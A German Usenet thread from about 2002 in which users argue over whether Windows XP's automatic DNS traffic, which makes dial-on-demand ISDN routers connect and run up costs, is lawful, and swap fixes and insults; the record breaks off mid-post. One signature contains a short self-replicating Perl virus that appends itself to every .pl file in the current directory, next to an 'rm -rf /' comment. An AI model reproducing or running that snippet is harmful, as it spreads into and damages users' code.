Ist XP-Selbsteinwahl rechtens??
Thomas Brune
ich habe hier ein kleines Netzwerk mit einem Linuxrouter/Proxy und u.a auch
XP-Clients. Man kann an dem Router wunderbar die Einwahlen von XP ins
Internet mitloggen. Ist das eigentlich rechtmäßig. Der normale Kunde müsste
doch eigentlich von MS darüber aufgeklärt werden, da Ihm durch die Einwahl
Kosten entstehen und seine Anonymität ohne Einverständnis verliert. Kann man
sowas nicht abmahnen oder hat das schon mal einer mit MS hier in Deutschland
versucht. Meiner Meinung nach verstößt MS ganz klar gegen das
Verbrauchergesetz.
Grüße Thomas
Heinrich Unrau
Die Eigenaktivitäten von XP sind durchaus bekannt und stark kritisiert. MS
will mit dem Argument "es ist doch alles nur ein service für den user" den
Leuten einreden das diese ganzen automatisierten Pseudo-funktionen sinnvoll
sind. Das sind sie nun aber nun wirklich nicht.
So wie du denken viele und desshalb gab und gibt es auch mehre Anklagen an
MS.
Michael H. Fischer
> So wie du denken viele und desshalb gab und gibt es auch mehre
> Anklagen an MS.
Aus dem genannten Grund? Wo? Welche? Wer klagt?
Michael H. Fischer
Thomas Brune
Heinrich Unrau schrieb:
> Die Eigenaktivitäten von XP sind durchaus bekannt und stark kritisiert.
Das ist es ja, was mich erstaunt. Es sind sogar personenbezogene Daten
(zumindest die Organisation wird Microsift mitgeteilt). Abmahnungsprozesse
habe ich aber nur umgekehrt (z.B. MS gegen Antispion). gefunden. Es wird
zwar viel lamentiert, aber Klagen habe ich nur von MS, nicht gegen MS
gefunden.
> MS will mit dem Argument "es ist doch alles nur ein service für den user"
> den Leuten einreden das diese ganzen automatisierten Pseudo-funktionen
> sinnvoll sind. Das sind sie nun aber nun wirklich nicht.
Seitdem ich auch von XP aus gemailt habe, bekomme ich ständig
Aktienangebote als SPAM. Das war vorher (unter KMail bzw. OE mit WinNT)
nicht der Fall. Den Zusammenhang kann ich aber leider nicht beweisen.
> So wie du denken viele und desshalb gab und gibt es auch mehre Anklagen an
> MS.
Wer denn und wo. Ich finde nichts, zumindest nicht in der BRD.
Grüße
Thomas
Burkhard Schroeder
<thb...@muenster.de> wrote:
> Seitdem ich auch von XP aus gemailt habe,
Niemand zwingt dich dazu.
man Eigenverantwortung Verbraucher.
Burks
--
www.burks.de go.to/burks/ www.burkhard-schroeder.info
Ceterum censeo PGP omnibus utendum esse.
begin killoutlook.exe
Hi, I'm a very dangerous signature virus. Please help me spread to the bitter
End
David Dahlberg
>> So wie du denken viele und desshalb gab und gibt es auch mehre
>> Anklagen an MS.
>
>Aus dem genannten Grund? Wo? Welche? Wer klagt?
Ich kenne zwar keine, aber der Grund könnte z.B. sein, dass
Online-Zeit und teilweise auch die Einwahl bares Geld kosten, und MS
nicht so tuen kann, als besäße jeder eine Standleitung (von den
Privacy-Argumenten einmal ganz abgesehen, die sich allerdings oft nur
schwer beweisen lassen).
-dd
--
Gegen die Einschränkung der Informationsfreiheit bei
nordrhein-westfälischen Internet Service Providern
http://odem.org/informationsfreiheit/
Michael H. Fischer
> Ich kenne zwar keine
Der Poster sprach von konkreten Klagen. Ich kenne auch keine,
deswegen habe ich explizit danach gefragt:-)
> aber der Grund könnte z.B. sein, dass Online-Zeit und teilweise
> auch die Einwahl bares Geld kosten, und MS nicht so tuen kann, als
> besäße jeder eine Standleitung
Hm. Ich habe mich von Berufs wegen mit XP auseinandersetzen müssen.
Standardmässig baute XP bei mir keine unbemerkte Verbindung irgendwo
hin von sich aus. Der Verbindungsaufbau musste immer explitzit
bestätigt werden.
Habe ich etwas falsch gemacht?
Michael H. Fischer
Andreas Riedel
> Seitdem ich auch von XP aus gemailt habe, bekomme ich ständig
> Aktienangebote als SPAM. Das war vorher (unter KMail bzw. OE mit WinNT)
> nicht der Fall. Den Zusammenhang kann ich aber leider nicht beweisen.
Da besteht wahrscheinlich keiner. Die Aktienspams haben sich auch bei
mir in den letzten Monaten stark gehäuft, und ich hab' schon lange
vorher kein Windows mehr angefaßt.
Gruß
Andreas
--
Those who desire to give up Freedom in order to gain Security,
will not have, nor do they deserve, either one. (T. Jefferson)
Vollmeier René (vollmi)
"Michael H. Fischer" <usen...@derfisch.de> schrieb folgendes:
> Hm. Ich habe mich von Berufs wegen mit XP auseinandersetzen müssen.
> Standardmässig baute XP bei mir keine unbemerkte Verbindung irgendwo
> hin von sich aus. Der Verbindungsaufbau musste immer explitzit
> bestätigt werden.
>
> Habe ich etwas falsch gemacht?
Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
Aber das dann recht häufig wie ich finde.
Dabei besteht bei mir z.B. das Problem das ich einen ISDN Router habe
der sich zwar wie eine Standleitung anfühlt aber leider trotzdem
einwählen muss und das kostet Geld.
XP baut aber nicht ungefragt eine Dfü Verbindung auf.
mfg René
Michael Holzt
> Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
> z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben, glaube
ich nicht, daß XP das macht.
--
What is the difference between Scientology and Microsoft? One is an
evil cult bent on world domination and the other was begun by L. Ron
Hubbard. (anonym von slashdot.org)
Thomas Brune
und Vollmeier René schrieb:
> > Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
> > z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
und Michael Holzt antwortete:
> Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben, glaube
> ich nicht, daß XP das macht.
Genau das macht es. Beim Start z.B. versucht der Explorer auch Informationen
über Dateien im Netz (LAN) zu bekommen. Ich habe auch einen ISDN Router und
somit geht die Anfage auch nach draußen (Was ich natürlich verhindert habe).
Beim Durchprobieren fielen mir aber ziemlich viele Versuche auf, die nicht
so "edel waren", z.B. dieses MS Messanger versucht, per default auf
Autostart gestellt, Kontakt aufzunehmen, der Windowmediaplayer bei jedem
Start usw. Ich denke, daß wenn nicht direkt darauf hingewiesen wird, dies
nicht erlaubt ist, da es für den Anwender unkontrollierbare Folgekosten
ergibt. Ein Normal XP Benutzer (ohne MS-Office, daß haben wir von
open.office), wählt sich unbemerkt nach meinen Erfahrungen, (logdateien des
ISDN-Router) ca 3 mal pro Sitzung ins Netz. Nach den ERfahrungen mit
unbemerkt installierten Einwahlprogrammen müsste MS bei einer Klage
eigentlich verlieren.
Thomas
Thomas Brune
"Burkhard Schroeder" <bu...@burks.de> schrieb:
> Niemand zwingt dich dazu.
> man Eigenverantwortung Verbraucher.
Naja, Forte läuft ja uach nicht gerade MS frei :-).
Grüße Thomas
Michael H. Fischer
> Genau das macht es.
Nein. Es tunnelt nichts. Es benutzt bestehende Verbindungen zur
Kommunikation. Das hat mit tunneln genau gar nichts zu tun.
Michael H. Fischer
Thomas Brune
Michael H. Fischer schrieb flott und unüberlegt:
> Nein. Es tunnelt nichts. Es benutzt bestehende Verbindungen zur
> Kommunikation. Das hat mit tunneln genau gar nichts zu tun.
Es hat ja auch keiner behauptet, das es tunnelt. Ich zitiere:
> > Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
> > z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
> Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben, glaube
> ich nicht, daß XP das macht.
^^^^^^^^^^^^^^^
Das bezieht sich auf "nur ungefragt Verbindungen auf".
Thomas
Michael Holzt
> Das bezieht sich auf "nur ungefragt Verbindungen auf".
Nein. Lerne Deutsch.
Michael Holzt
> Das bezieht sich auf "nur ungefragt Verbindungen auf".
Nein. Lerne Deutsch.
Da stand, daß XP Verbindungen aufbauen würde, wenn es das über einen
DNS-Server könne. Ich baue keine Verbindungen über DNS-Server auf.
Das ist zwar mit einem speziell präparierten DNS-Server möglich, aber
wohl kaum das, was XP macht.
Thomas Brune
Michael Holzt schrieb im Newsbeitrag:
> Nein. Lerne Deutsch.
Tut mir leid. Kann ich sehr gut. Ihr habt einfach unrecht.
Du schriebst:
> Da stand, daß XP Verbindungen aufbauen würde, wenn es das über einen
> DNS-Server könne. Ich baue keine Verbindungen über DNS-Server auf.
Es muß i.ü. "könnte" heißen.;-). Da stand wörtlich und nicht interpretiert:
-----8<--------------------------8<----------------------------------------
> > Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
> > z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
> > Aber das dann recht häufig wie ich finde.
> > Dabei besteht bei mir z.B. das Problem das ich einen ISDN Router habe
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >der sich zwar wie eine Standleitung anfühlt aber leider trotzdem
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> einwählen muss und das kostet Geld.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >XP baut aber nicht ungefragt eine Dfü Verbindung auf.
-----8<--------------------------8<----------------------------------------
Und um die unterstrichenen Sätze geht es. Nicht um tunneln oder DNS-Server.
Auf dem Router kann ein DNS-Server oder Proxy oder beides installiert sein,
(bei mir z.B.) XP baut trotzdem die Verbindung auf. Das geschilderte Problem
ist ja nicht exotisch, sondern trifft ja auf viele LAN´s zu.
Thomas
Michael Holzt
> Und um die unterstrichenen Sätze geht es.
Ich habe aber nicht die unterstrichenen Sätze gequotet, und damit mich
auch nicht darauf bezogen.
Den Witz haben wir jetzt eh schön totdiskutiert. Geh spielen.
Rudolf Polzer
> und Michael Holzt antwortete:
> > Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben, glaube
> > ich nicht, daß XP das macht.
> Genau das macht es. Beim Start z.B. versucht der Explorer auch Informationen
> über Dateien im Netz (LAN) zu bekommen.
Was genau? Hast du ein Logfile über die übertragenen Pakete (am besten
einen raw-Dump von tcpdump)?
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Rudolf Polzer
> Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
> z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
> Aber das dann recht häufig wie ich finde.
AFAIK baut XP gar keine Verbindung auf (kenne aber das Problem wohl aus
der Schule - Win2k-Rechner am Linux-Proxy => hohe Telefonrechnung). Ich
denke mal, dass es dasselbe ist.
0. WinXP baut keine Dialup-Verbindung auf - es nutzt einfach eine
vorhandene Netzwerkverbindung. Dass der Router das dann als Anfrage
nach "außen" interpretiert, ist klar.
1. Der Zielrechner ist der in den TCP/IP-Einstellungen eingetragene
Nameserver.
2. Ändere ich die Nameserver-IP auf einen BIND, der auf dem Linuxrechner
läuft, kann ich im Logfile sehen, woran es liegt:
Die Anfragen sind DNS-Vorwärts- und Rückwärtsauflösungen Rechner im
LAN betreffend. Die Win2k-Rechner wollten ständig wissen, wer die IP
192.168.0.x hatte und/oder wem ein Hostname
"ws1.intern.ess-schule.de.local" gehört. Das Ergebnis waren natürlich
Host-not-found-Antworten.
3. Diese Anfragen werden unter anderem dann erzeugt, wenn man irgend
etwas über das "Microsoft-Netzwerk" macht. Einmal Netzwerkumgebung
aufgemacht und er rattert los. Natürlich ist jede dieser Anfragen
erfolglos, aber danach wird wohl eine andere Methode zur
Namensauflösung verwandt, denn alles andere funktioniert einwandfrei.
4. Die Lösung war nun einfach: Zonen im BIND anlegen, die die
abgefragten Namen auflösen.
Oder macht XP hier wirklich was datenschutzrechtlich Bedenkliches?
Soweit ich weiß, verursacht dieser Unsinn "nur" unnötige Kosten.
Thomas Brune
> Ich habe aber nicht die unterstrichenen Sätze gequotet, und damit mich
> auch nicht darauf bezogen.
Du quotest:
>> Nicht wirklich. XP Baut nur ungefragt Verbindungen auf wenn es das
>> z.B. in einer Netzwerkdomain kann (Ueber einen DNS Server).
>Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben, glaube
> ich nicht, daß XP das macht.
Wenn Du noch nicht mal weißt, was Du schreibst, bist Du hier mit Deinen
Sprüchen irgendwie falsch!
Thomas
Thomas Brune
Endlich einer, der das Problem voll verstanden hat.
> 4. Die Lösung war nun einfach: Zonen im BIND anlegen, die die
> abgefragten Namen auflösen.
Für einen normalen Benutzer ist das nicht so einfach. Ich hätte auch
erwartet, daß bei ausgefüllten etc/hosts (bei kleinen Netzwerken) nur diese
abgefragt werden. Das Gateway wird ja auch expiziet angegeben. Das ist doch
kein Problem, es sei denn, das Programm will was anderes
> Oder macht XP hier wirklich was datenschutzrechtlich Bedenkliches?
> Soweit ich weiß, verursacht dieser Unsinn "nur" unnötige Kosten.
Das ist halt die Frage? Außerdem sind unötige Kosten auch ärgerlich.
THomas
Felix von Leitner
> Du kannst es einfach nicht:
Das sagt jemand, der zu blöde für eine Attribution ist?!
Das wird ja echt immer härter hier. Ist muenster.de auch so ein
freemailer oder was? Ich hab da bisher nur Deppen von kommen sehen.
Rudolf Polzer
> Endlich einer, der das Problem voll verstanden hat.
> > 4. Die Lösung war nun einfach: Zonen im BIND anlegen, die die
> > abgefragten Namen auflösen.
>
> Für einen normalen Benutzer ist das nicht so einfach. Ich hätte auch
> erwartet, daß bei ausgefüllten etc/hosts (bei kleinen Netzwerken) nur diese
> abgefragt werden.
Die waren zwar nicht vorhanden - aber mein erster Versuch war es, eben
diese Datei anzulegen, was die Vorwärtsabfragen verschwinden ließ. Die
Abfragen "wer hat die IP soundso" waren dadurch aber nicht weg.
> Das Gateway wird ja auch expiziet angegeben. Das ist doch
> kein Problem, es sei denn, das Programm will was anderes
Das Defaultgateway hat damit nichts zu tun. Im Gegenteil: durch diesen
Eintrag weiß der Rechner erst, wie er an den Router kommt; ohne ihn
kommt er gar nicht ins Internet (außer über Proxy o.ä.).
> > Oder macht XP hier wirklich was datenschutzrechtlich Bedenkliches?
> > Soweit ich weiß, verursacht dieser Unsinn "nur" unnötige Kosten.
>
> Das ist halt die Frage? Außerdem sind unötige Kosten auch ärgerlich.
Eben. Meiner Meinung nach muss es eine Möglichkeit geben, solche Kosten
auf MS abzuwälzen. Schließlich wird nirgends auch nur eine Meldung
angezeigt, dass der DNS für die Namensauflösung im Netzwerk überhaupt
verwendet wird, wenn man das Netzwerk einrichtet.
Ich bin mir sicher, dass man dieses Problem auch auf den Win2k- oder
XP-Rechnern selbst lösen kann - nur habe ich die Lösung nicht gefunden.
Per Default passiert das auf jeden Fall. Aber es ist auf keinen Fall ein
"nach Hause telefonieren", sondern "lediglich" eine etwas
verschwenderische Implementation.
IMHO wäre auch eine Einstellung, nach der man die Dauer des Cachings von
solchen Antworten (also die Information "WS2 wird über Dienst X, WS3
über Dienst Y identifiziert) festlegen kann, ganz gut - stellt man sie
auf ein Jahr, wird pro Jahr und 2*Workstation^2 nur eine einzige
DNS-Abfrage herausgesendet (dann weiß der Rechner nämlich, dass er DNS
gar nicht erst probieren soll, solange bspw. der Windows-Locator den
Rechner findet).
Rudolf Polzer
> Endlich einer, der das Problem voll verstanden hat.
BTW: Das liegt daran, dass du mit diesem Problem hier falsch bist.
Konntest du aber vorher nicht wissen - wenn man an ein "nach Hause
telefonieren", also etwas Bedenkliches bzgl. Datenschutz denkt, kann man
schon auf die Idee kommen, hier und in de.soc.recht.datennetze zu
fragen.
Timo Steinlein
> Michael Holzt antwortete:
> > Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben,
glaube
> > ich nicht, daß XP das macht.
> Genau das macht es. Beim Start z.B. versucht der Explorer auch
Informationen
> über Dateien im Netz (LAN) zu bekommen [...]
Nein, macht es nicht.
Es macht einen DNS-Lookup, weil du[1] dein XP so konfiguriert hast,
löst den Hostnamen auf und konnektriert zu diesem.
Als Provider würde ich mich heftigst beschweren wenn meine Kunden
ihren Salat über meinen DNS 'tunneln' würden.
[1] Oder ein automatisiertes Skript von dem du nichts weißt
MfG
Timo Steinlein
> Michael Holzt antwortete:
> > Auch wenn es schon Leute gibt, die TCP über DNS getunnelt haben,
>> glaube ich nicht, daß XP das macht.
> Genau das macht es. Beim Start z.B. versucht der Explorer auch
> Informationen über Dateien im Netz (LAN) zu bekommen [...]
Thomas Brune
"Felix von Leitner" <usenet-...@fefe.de> schrieb im Newsbeitrag
news:3cc0...@fefe.de...
Ich wollte dem Typen schon mailen, daß mich sein Stil an Dein meistens eher
schlechtes Benehmen erinnert. Ich glaube, er hat Dich als Vorbild. Mit der
Attribution hast Du aber tief in Deine Deutschunterichtvergangenheit
gegriffen. Wieso bringst Du es in meinem Zusammenhang. Ist das jetzt auch
für d.o.c wichtig. Muenster.de ist kein Freemailer sonderm ein Lokalprovider
(in Muenster). Und was hast Du gegen Muenster? Ich kann mich sogar an einige
freundliche E-Mailaustausche von vor ca. 3 Jahren mit mir erinnern. Da
hattest Du überhaupt nichts gegen muenster.de.
Freundliche Gruesse,
Thomas
Thomas Brune
Du schriebst:
> Als Provider würde ich mich heftigst beschweren wenn meine Kunden
> ihren Salat über meinen DNS 'tunneln' würden.
>
> [1] Oder ein automatisiertes Skript von dem du nichts weißt
^^^^^^^^^^^^^^^^^
Das ist das Problem. Es macht was, was nicht angekündigt ist, von dem man
nicht ohne weiteres ausgehen muß und was Kosten verursacht. Genau da ist
das Problem. Die Theorie dahinter hatte ich nicht zur Diskussion gestellt.
Und ich denke, damit könnte mann MS abmahnen.
Thomas
Wolfgang Kaufmann
Hallo,
> Ich kann mich sogar an einige freundliche E-Mailaustausche von vor
> ca. 3 Jahren mit mir erinnern.
Und jetzt schreibst du dir nicht mehr so oft?
> Da hattest Du überhaupt nichts gegen muenster.de.
Jetzt siehst du was du angerichtet hast.
Tschüss,
Wolle
Hanna Cardinal
>> Das ist halt die Frage? Außerdem sind unötige Kosten auch ärgerlich.
>
> Eben. Meiner Meinung nach muss es eine Möglichkeit geben, solche Kosten
> auf MS abzuwälzen. Schließlich wird nirgends auch nur eine Meldung
> angezeigt, dass der DNS für die Namensauflösung im Netzwerk überhaupt
> verwendet wird, wenn man das Netzwerk einrichtet.
Hmmm mag ja sein daß mein Gehürn dank vortgeschrittener Stunde nichtmehr
funktioniert aber du willst nicht im ernst Microsoft dafür verantwortlich
machen, daß deine dial-on-demand Verbindung onlinegeht weil der
Nicht-windows-rechner sich durch irgendwelchen netzwerktraffic dazu
veranlaßt fühlt oder?
--
u4K0e 7u4 C14A37
Rudolf Polzer
Doch, genau das will ich. Du stellst das so dar, dass der
Nicht-Windows-Rechner schuld wäre. Tatsächlich verursacht der
Windows-Rechner unnötigen Netzwerktraffic - und um _den_ geht es mir.
Mit einem Hardwarerouter und im P2P-Netzwerk (ohne Server) gibt es _gar
keine_ Möglichkeit, dieses Problem komplett zu lösen.
Gleiches gilt IMHO auch für Ad- und Spyware, wenn bei der Installation
nicht darauf hingewiesen wird, dass sie Traffic verursachen. Wobei ich
_da_ schon öfters solche Hinweise gesehen habe (zwar im Lizenzvertrag
versteckt, aber sie standen da). Würde Microsoft einen solchen Hinweis
bspw. in der TCP/IP-Einstellungsdialogbox auf der DNS-Registerkarte
anzeigen lassen, wäre das IMHO völlig in Ordnung. Wer diese Zugriffe
dann nicht haben will, stellt einfach keinen DNS ein und richtet sich
statt eines Routers einen Proxyserver für die benötigten Dienste ein.
Carsten Krüger
>Doch, genau das will ich. Du stellst das so dar, dass der
>Nicht-Windows-Rechner schuld wäre. Tatsächlich verursacht der
>Windows-Rechner unnötigen Netzwerktraffic - und um _den_ geht es mir.
>Mit einem Hardwarerouter und im P2P-Netzwerk (ohne Server) gibt es _gar
>keine_ Möglichkeit, dieses Problem komplett zu lösen.
klaro, man schlatet einfach Dod ab,
oder benutzt den DNS-Server auf dem Router.
Und das ist übrigens kein XP-Problem sondern ein generelles
Windowsproblem, überall wird darauf hingewiesen.
Lies mal dein Router-Handbuch, ich wette da steht drin, daß man bei
Dod vorsichtig sein soll, weil unerwartete Kosten entstehen können.
www.win2000helpline.com
www.winfaq.de
Gruß Carsten
--
* Carsten Krüger *
* CarKrueg...@gmx.de (ja wirklich .nospam) *
* UIN - 3341090 AOL-Buddyname - CKrueger99 *
* PGP-ID: 0x30E646E9 FP: B703 D357 4AC3 36EA 9170 69EE 9918 55E9 *
Rudolf Polzer
> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
>
> > [Beschreibung einer DNS-Namensaufloesung gesnipt]
>
> Das ist ja alles richtig, nur, installier mal ein englisches XP. Das
> holt sich bei einer einfachen lokalen Dateisuche ein paar Files von
> http://sa.microsoft.com. Beweise? Schau mal auf Bugtraq nach.
Aha, das stimmt also tatsächlich und ist mehr als das Bekannte von
Win2k. Daher war ich mir ja auch nicht sicher und habe nochmal
nachgefragt.
Welche Infos sendet der Explorer denn genau? Warum finde ich das nicht,
wenn ich auf securityfocus.com alle dort aufgeführten Mailinglisten
(inkl. Bugtraq) nach "sa.microsoft.com" oder "http://sa.microsoft.com"
suche?
Thomas Brune
du schriebst:
> Konntest du aber vorher nicht wissen - wenn man an ein "nach Hause
> telefonieren", also etwas Bedenkliches bzgl. Datenschutz denkt, kann man
> schon auf die Idee kommen, hier und in de.soc.recht.datennetze zu
> fragen.
XP "telefoniert" nach hause. Es versucht dezidiert mit MS kontakt
aufzunehmen. Ich versuch zur Zeit d´sn Traffic zu sniffen, habe aber wenig
Platz auf dem Router/Proxy (240MB Platte), sodass ich etwas umkonfigurieren
muss.
Thomas
Peter Lemken
>
> Wenn Du noch nicht mal wei?t, was Du schreibst, bist Du hier mit Deinen
> Spr?chen irgendwie falsch!
Ich seh' nur einen, der hier falsch ist und der heißt nicht Micahel. Bitte
geh' wieder mit Dir selbst spielen.
Peter Lemken
Berlin
--
Post quality. Encourage quality. Discourage crap. Be entertaining, be
creative, or shut the fuck up.
Peter Lemken
> Hallo,
>
> "Felix von Leitner" <usenet-...@fefe.de> schrieb im Newsbeitrag
> news:3cc0...@fefe.de...
>> Thus spake Thomas Brune (thb...@muenster.de):
>> > Du kannst es einfach nicht:
>>
>> Das wird ja echt immer h?rter hier. Ist muenster.de auch so ein
>> freemailer oder was? Ich hab da bisher nur Deppen von kommen sehen.
> schlechtes Benehmen erinnert. Ich glaube, er hat Dich als Vorbild. Mit der
> Attribution hast Du aber tief in Deine Deutschunterichtvergangenheit
> gegriffen. Wieso bringst Du es in meinem Zusammenhang. Ist das jetzt auch
> (in Muenster). Und was hast Du gegen Muenster? Ich kann mich sogar an einige
> freundliche E-Mailaustausche von vor ca. 3 Jahren mit mir erinnern. Da
>
> Freundliche Gruesse,
>
> Thomas
>
>
--
Peter Lemken
>
> Das Defaultgateway hat damit nichts zu tun. Im Gegenteil: durch diesen
> Eintrag weiß der Rechner erst, wie er an den Router kommt; ohne ihn
> kommt er gar nicht ins Internet (außer über Proxy o.ä.).
Ach ja? Wie sieht denn eine Routing-Tabelle ohne Default Gateway aber mit
Proxy aus?
Peter Lemken
Berlin
Rudolf Polzer
> Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> >
> > Das Defaultgateway hat damit nichts zu tun. Im Gegenteil: durch diesen
> > Eintrag weiß der Rechner erst, wie er an den Router kommt; ohne ihn
> > kommt er gar nicht ins Internet (außer über Proxy o.ä.).
>
> Ach ja? Wie sieht denn eine Routing-Tabelle ohne Default Gateway aber mit
> Proxy aus?
Einfach eine ohne Defaultgateway. Ohne Proxy-Support kann die Software
dann _gar nicht_ ins Internet. Mit gibt es die üblichen Probleme (nicht
jedes Programm kann SOCKS, nicht alles geht mit SocksCap, HTTPS) und man
muss jeses Programm einzeln konfigurieren.
Hanna Cardinal
> Hanna Cardinal <Hanni...@37.com> wrote:
>> * Rudolf Polzer wrote:
>>
>> >> Das ist halt die Frage? Außerdem sind unötige Kosten auch ärgerlich.
>> >
>> > Eben. Meiner Meinung nach muss es eine Möglichkeit geben, solche
>> > Kosten auf MS abzuwälzen. Schließlich wird nirgends auch nur eine
>> > Meldung angezeigt, dass der DNS für die Namensauflösung im Netzwerk
>> > überhaupt verwendet wird, wenn man das Netzwerk einrichtet.
>>
>> Hmmm mag ja sein daß mein Gehürn dank vortgeschrittener Stunde
>> nichtmehr funktioniert aber du willst nicht im ernst Microsoft dafür
>> verantwortlich machen, daß deine dial-on-demand Verbindung onlinegeht
>> weil der Nicht-windows-rechner sich durch irgendwelchen netzwerktraffic
>> dazu veranlaßt fühlt oder?
>
> Doch, genau das will ich. Du stellst das so dar, dass der
> Nicht-Windows-Rechner schuld wäre. Tatsächlich verursacht der
> Windows-Rechner unnötigen Netzwerktraffic - und um _den_ geht es mir.
> Mit einem Hardwarerouter und im P2P-Netzwerk (ohne Server) gibt es _gar
> keine_ Möglichkeit, dieses Problem komplett zu lösen.
Ja selbstverständlich ist der Nicht-Windows-Rechner schuld.
Du hast ihn ja so konfiguriert, daß er bei einem Netzwerkzugriff online
geht. Das heißt Dial-on-Demand und in der Dokumentation ist ziemlich
sicher genau das Problem mit traffic erzeugenden Programmen beschrieben.
--
u4K0e 7u4 C14A37
Rudolf Polzer
_Das_ schon. Ein Programm hat allerdings nicht ohne expliziten Auftrag
Traffic zu erzeugen.
Anders wäre es, wenn der User auf das blaue Symbol mit dem 'e' klickt
und die Startseite im Internet liegt. Hier liegt ein expliziter Auftrag
des Nutzers vor, Traffic zu erzeugen. Nicht aber, wenn er das lokale
Netzwerk durchsucht.
Karsten Berghaus
<AntiATFiel...@durchnull.de> wrote:
[snip]
>_Das_ schon. Ein Programm hat allerdings nicht ohne expliziten Auftrag
>Traffic zu erzeugen.
Wer sagt das? Wo steht das?
Würdest Du z.B. IPX als Programm bezeichnen? Und IPX erzeugt auch
traffic. Täte es das nicht, würde es nicht laufen.
>Anders wäre es, wenn der User auf das blaue Symbol mit dem 'e' klickt
>und die Startseite im Internet liegt. Hier liegt ein expliziter Auftrag
>des Nutzers vor, Traffic zu erzeugen. Nicht aber, wenn er das lokale
>Netzwerk durchsucht.
Wenn man sein lokales Netzwerk sauber einrichtet, hält sich der traffic
sehr in Grenzen.
Wenn man nicht will, dass ein Router wegen diesem "Restrauschen" online
geht, dann sollte man den Router dementsprechend konfigurieren.
Wo ist das Problem?
cu
Karsten
--
gibt es irgendwo eine Liste von Servern mit dazugehöriger IP ?
Ich möchte mir einen DNS einrichten und bräuchte dazu noch ein host-
file. [Thomas Finke, de.comm.internet.misc, 28.11.2001]
Rudolf Polzer
> On Sun, 21 Apr 2002 22:37:07 +0200, Rudolf Polzer
> <AntiATFiel...@durchnull.de> wrote:
>
> [snip]
>
> >_Das_ schon. Ein Programm hat allerdings nicht ohne expliziten Auftrag
> >Traffic zu erzeugen.
>
> Wer sagt das? Wo steht das?
> Würdest Du z.B. IPX als Programm bezeichnen? Und IPX erzeugt auch
> traffic. Täte es das nicht, würde es nicht laufen.
Wenn ich diesen Traffic nicht haben möchte, lasse ich IPX einfach weg.
_Dieser_ Traffic ist für die Funktion notwendig. Der Traffic, den Win2k
beim Durchsuchen des lokalen Netzwerkes verursacht, ist nicht notwendig
- schließlich würde auch ohne alles einwandfrei funktionieren.
> >Anders wäre es, wenn der User auf das blaue Symbol mit dem 'e' klickt
> >und die Startseite im Internet liegt. Hier liegt ein expliziter Auftrag
> >des Nutzers vor, Traffic zu erzeugen. Nicht aber, wenn er das lokale
> >Netzwerk durchsucht.
>
> Wenn man sein lokales Netzwerk sauber einrichtet, hält sich der traffic
> sehr in Grenzen.
> Wenn man nicht will, dass ein Router wegen diesem "Restrauschen" online
> geht, dann sollte man den Router dementsprechend konfigurieren.
> Wo ist das Problem?
Würde man den (HW-)Router derartig konfigurieren, dürfte er gar keinen
DNS-Traffic mehr hinauslassen.
Hanna Cardinal
>> >_Das_ schon. Ein Programm hat allerdings nicht ohne expliziten Auftrag
>> >Traffic zu erzeugen.
>>
>> Wer sagt das? Wo steht das?
>> Würdest Du z.B. IPX als Programm bezeichnen? Und IPX erzeugt auch
>> traffic. Täte es das nicht, würde es nicht laufen.
>
> Wenn ich diesen Traffic nicht haben möchte, lasse ich IPX einfach weg.
> _Dieser_ Traffic ist für die Funktion notwendig. Der Traffic, den Win2k
> beim Durchsuchen des lokalen Netzwerkes verursacht, ist nicht notwendig
> - schließlich würde auch ohne alles einwandfrei funktionieren.
Hast du schonmal mit ner Zimmerwand diskutiert weshalb sie im Weg steht?
Wenn man etwas anderes weglassen würde könnte man sich noch deutlich mehr
Ärger erspaaren und ich meine weder den router noch den rechner an sich.
Will sagen.. du brauchst win2k für was auch immer... leb damit.
--
u4K0e 7u4 C14A37
Thomas Brune
> Hast du schonmal mit ner Zimmerwand diskutiert weshalb sie im Weg steht?
> Wenn man etwas anderes weglassen würde könnte man sich noch deutlich mehr
> Ärger erspaaren und ich meine weder den router noch den rechner an sich.
> Will sagen.. du brauchst win2k für was auch immer... leb damit.
Das Problem, welches manche hier nicht verstehen, ist, daß wenn man
beruflich mit EDV zu tuen hat man manchmal auch an Win nicht vorbeikommt.
Thomas
Rudolf Polzer
So kann man es auch sehen - _ich persönlich_ brauche Win2k ja auch
nicht.
Gibt es eigentlich eine Personal FW (_hier_ wäre die eher sinnvoll),
mit der man auch dem Explorer und dem Microsoft-Netzwerk den Zugriff auf
einzelne Dienste wegnehmen kann?
Ja, ich habe gerade J*hova gesagt. Nur soll die PF hier nicht die
Sicherheit erhöhen, sondern die unnötigen Zugriffe beim Verursacher
abblocken.
Karsten Berghaus
<AntiATFiel...@durchnull.de> wrote:
[...]
>Gibt es eigentlich eine Personal FW (_hier_ wäre die eher sinnvoll),
>mit der man auch dem Explorer und dem Microsoft-Netzwerk den Zugriff auf
